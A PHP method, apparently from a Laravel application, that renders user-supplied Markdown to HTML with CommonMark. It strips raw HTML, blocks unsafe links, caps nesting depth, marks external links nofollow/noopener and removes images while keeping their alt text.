            public static function toHtml(string $markdown, ?string $siteHost = null): string
            {
                if (! class_exists(MarkdownConverter::class)) {
                    return '<p>'.nl2br(e($markdown), false).'</p>';
                }
        
                $environment = new Environment([
                    'html_input' => 'strip',
                    'allow_unsafe_links' => false,
                    // Deeply nested lists and quotes cost the parser more and more: a reply can't nest past this.
                    'max_nesting_level' => 20,
                    'external_link' => [
                        'internal_hosts' => array_values(array_filter([$siteHost ?? request()->getHost()])),
                        'open_in_new_window' => true,
                        'nofollow' => 'external',
                        'noopener' => 'external',
                        'noreferrer' => 'external',
                    ],
                ]);
                $environment->addExtension(new CommonMarkCoreExtension);
                $environment->addExtension(new AutolinkExtension);
                $environment->addExtension(new StrikethroughExtension);
                $environment->addExtension(new ExternalLinkExtension);
                $environment->addEventListener(DocumentParsedEvent::class, static function (DocumentParsedEvent $event): void {
                    $images = [];
                    foreach ($event->getDocument()->iterator() as $node) {
                        if ($node instanceof Image) {
                            $images[] = $node;
                        }
                    }
                    foreach ($images as $image) {
                        while ($image->firstChild() !== null) {
                            $image->insertBefore($image->firstChild());
                        }
                        $image->detach();
                    }
                });
        
                return (string) (new MarkdownConverter($environment))->convert($markdown);
            }
        }